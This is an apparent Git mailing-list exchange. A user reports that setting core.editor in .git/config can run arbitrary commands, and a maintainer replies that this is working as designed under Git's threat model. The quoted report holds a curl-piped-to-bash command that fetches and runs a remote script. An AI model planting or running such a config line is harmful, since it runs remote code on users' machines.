Re: Git vulnerability - execution of arbitrary code through .git/conf

[Jeff King <peff@peff.net>]

On Sat, Aug 25, 2018 at 11:13:30PM -0300, Leo Silva (a.k.a kirotawa) wrote:

> Hi git community!
> 
> I found what seems to be a vulnerability/bug on git. I'm running
> version 2.7.4 on Ubuntu xenial, but also tested with last version
> 2.19.0.rc0.2.g29d9e3e.
> 
> The steps to reproduce are:
> 
> 1. open your .git/conf
> 2. add something like:
> [core]
>     editor = ls /etc/passwd
> or even
>     editor = curl -s http://server/path/malicious-script.sh | bash -s
> 3. run: git commit
>
> A malicious user/repo can set some code through URL or even as command
> in .git/conf and take control of your machine or silently run
> malicious code.

This is all working as designed. There are many ways you can execute
arbitrary code by changing files in in a .git directory. As you noticed,
core.editor is one. pager.* is another one, as are hooks in .git/hooks.

Our threat model is that the files in .git are trusted, and should be
protected through normal filesystem permissions. An important part of
that model is that a "git clone" does not copy arbitrary .git files from
the other side (only objects and refs). If you find a way around that,
it would be a problem (and in fact many of the vulnerabilities we've had
have involved somehow writing into .git from the checked-out tree).

-Peff